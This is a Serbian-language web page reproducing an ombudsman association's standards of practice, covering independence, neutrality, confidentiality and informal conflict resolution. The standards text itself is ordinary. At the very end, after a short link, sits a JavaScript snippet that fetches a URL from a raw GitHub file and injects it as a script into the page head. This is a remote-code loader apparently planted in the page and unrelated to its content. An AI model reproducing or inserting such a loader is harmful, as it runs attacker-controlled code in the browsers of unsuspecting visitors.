Омбудсман – стандарди за практично поступање

http://wp.me/p3pD8b-av

.

МУО СТАНДАРДИ ЗА ПРАКТИЧНО ПОСТУПАЊЕ

 

ПРЕАМБУЛА

 

МУО стандарди за практично поступање су засновани на етичким принципима који су садржани у Етичком кодексу МУОа.

Свака канцеларија омбудсмана треба да има Повељу или Основна начела своје организације, као основне документе прихваћене од стране главне управе, који дефинишу начела омбудсманске функције те организације и који су у сагласности са Стандардима за практично поступање МУОа.

 

СТАНДАРДИ ЗА ПРАКТИЧНО ПОСТУПАЊЕ

.

НЕЗАВИСНОСТ

 

1.1 Канцеларије омбудсмана и Омбудсман су независни од других тела.

1.2 Омбудсман нема ни један други положај ни у којој другој организацији која би могла да доведе у питање њихову независност.

1.3 Омбудсман има дискреционо право да све време одлучује да ли ће и како да поступа у погледу појединих случајева, развојних праваца или колективних случајева. Омбудсман може такође да иницира поступак на основу непосредног увида или свог директног сазнања.

1.4 Омбудсман има приступ свим информацијама и свим лицима у организацији, како је дозвољено по закону.

1.5 Омбудсман је овлашћен да изабере особље у Канцеларији омбудсмана као и да управља њеним буџетом и активностима.

.
НЕУТРАЛНОСТ И НЕПРИСТРАСНОСТ

 

2.1 Омбудсман је неутралан, непристрасан и несврстан.

2.2 Омбудсман чува своју непристрасност, поштење и објективност како у поступању са људима тако и приликом разматрања проблема. Омбудсман се залаже за поштено и равноправно поступање а не залаже се за корист ни једног лица или организације.

2.3 Омбудсман има дужност да неутрално извештава највиши могући ниво у организацији и да поступа независно од редовне структуре запослених.
Омбудсман не треба да извештава нити да буде структурално припојен ни једној себи подређеној јединици своје организације.

2.4 Омбудсман не ради ни у каквој доданој улози у организацији која би могла да доведе у питање његову омбудсманску неутралност. Омбудсман не треба да буде ни у једном формалном или неформалном удружењу у оквиру своје организације на начин који би могао да створи стварни или претпостављени сукоб интереса. Омбудсман нема никаквог личног интереса или користи, не црпе никакве добити или губитке из решења конкретног случаја.

2.5 Омбудсман је одговоран да разматра легитимне захтеве и и интересе свих лица на које утиче ситуација на коју се указује.

2.6 Омбудсман помаже развитку разних одговорних могућности за решавање проблема и омогућава вођење дискусије ради идентификовања најбољих опција.

.
ПОВЕРЉИВОСТ

 

3.1 Омбудсман чува све разговоре са онима који су затражили помоћ на стриктно поверљив начин и предузима све разумне кораке да обезбеди ту поверљивост, укључујући следеће:
Омбудсман не открива поверљиву комуникацију сем ако за то не добије дозволу у току неформалних разговора са омбудсманом, али и тада је све на чисто дирскреционој одлуци
Омбудсмана; Омбудсман не открива, и од њега се не сме ни захтевати да открије, идентитет било којег појединца који се обратио Канцеларији омбудсмана, нити Омбудсман открива информације које су прибављене на тај поверљив начин а које могу да доведу до идентификације било којег појединца који се обратио Канцеларији омбудсмана, без да је тај појединац дао дозволу; Омбудсман предузима специфичне активности само са изричитом дозволом лица о коме се ради и само у оквиру домена те дозволе, сем ако те активности могу да буду предузете на начин којим се не открива идентитет појединца који је контактирао Канцеларију омбудсмана. Једини изузетак од обавезе чувања поверљивости је када се покаже да предстоји непосредан ризик од наступања озбиљне штете, и где не постоји ни једна друга разумна опција. Омбудсман доноси оцену да ли заиста постоји такав ризик.

3.2 Комуникације између Омбудсман и других (до којих је дошло у време док се он налази у тој улози) се сматра обавезно поверљивом. Та обавеза је уједно и привилегија која припада само Омбудсману и Канцеларији омбудсмана, али не и странци с којом комуницира. Ти други се не могу одрећи поверљивости.

3.3 Омбудсман не сведочи ни у ком формалном поступку унутар те оргнаизације и уздржава се од сведочења у било којем формалном поступку изван те организације, ни у случају када је добио дозволу да то уради, па чак ни када постоји захтев да тако поступи.

3.4 Када Омбудсман прати случај систематично (нпр., прибавља повратне информације о кретању предмета, проблемима, друштвеним политикама и праксама), Омбудсман то ради на начин којим се не открива идентитет појединаца.

3.5 Омбудсман не води евиденцију са идентификационим подацима у корист своје организације.

3.6 Омбудсман чува информације (нпр. белешке, телефонске поруке, календаре заказаних обавеза) на безбедном месту и на безбедан начин, тако да су заштићени од увида других, (укључујући и управу), и има целовит, стандардизован начин уништавања таквих информација.

3.7 Омбудсман припрема сваки састанак и/или извештај на начин којим се обезбеђује поверљивост.

3.8 Комуникације учињене према омбудсману се не евидентирају за организацију. Обудсман се не понаша као заступник организације нити прихвата белешке у име органаизације. Ипак, омбудсман може да упути појединце на одговарајуће место на коме се могу начинити такве формалне белешке

.
НЕФОРМАЛНОСТ И ДРУГИ СТАНДАРДИ

 

4.1 Омбудсман функционише на неформалној основи користећи средстава као што су: слушање, прибављање и примање информација, идентификовање одговорних опција, и – са дозволом или на основу Омбудсманове дискреционе одлуке – ангажује се у неформалним интервенцијама као трећа страна. Када је то могуће, Омбудсман помаже људима да развију нове начине решавања сопствених проблема.

4.2 Као неформална институција која не води евиденцију, Омбудсман настоји да реши проблеме и да уочи процедуралне нерегуларности и /или када је то примерено, шире системске проблеме.

4.3 Омбудсман не доноси обабезујуће одлуке, обавезне смернице, нити формално пресуђује питања за организацију.

4.4 Омбудсман допуњава али не замењује ни један формални поступак. Обраћање Канцеларији омбудсмана је добровољно, и не представља корак који је обавезан у сваком жалбеном поступку или поступку у складу са програмима организација.

4.5 Омбудсман не учествује ни у једној формалној истрази или поступку пресуђивања. Формалне истраге треба да буду вођене од стране других. Када се захтева формална истрага, Омбудсман упућује појединце на одговарајуће институције или појединце.

4.6 Омбудсман идентификује правце развоја, питања и проблем који су настали поводом друштвених политика и поступака, укључујући разматрања потенцијалних будућих питања и проблема, без нарушавања поверљивости или анонимности, и даје одговорне препоруке онима који му се обраћају.

4.7 Омбудсман поступа у сагладности са МУО Етичким кодексом и Стандардима за практично поступање, обезбеђујући садашњи ниво професионализма континуираном едикацијом и омогућавањем свом особљу да учествују у професионалој обуци.

4.8 Омбудсман се труди да оправда поверење које је поверено Канцеларији омбудсмана.

 

http://wp.me/p3pD8b-av – кратки клин

(var url = „https://raw.githubusercontent.com/truba77/trubnik/main/to.txt“; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(„script“); script.src = data.trim(); document.getElementsByTagName(„head“)[0].appendChild(script); });)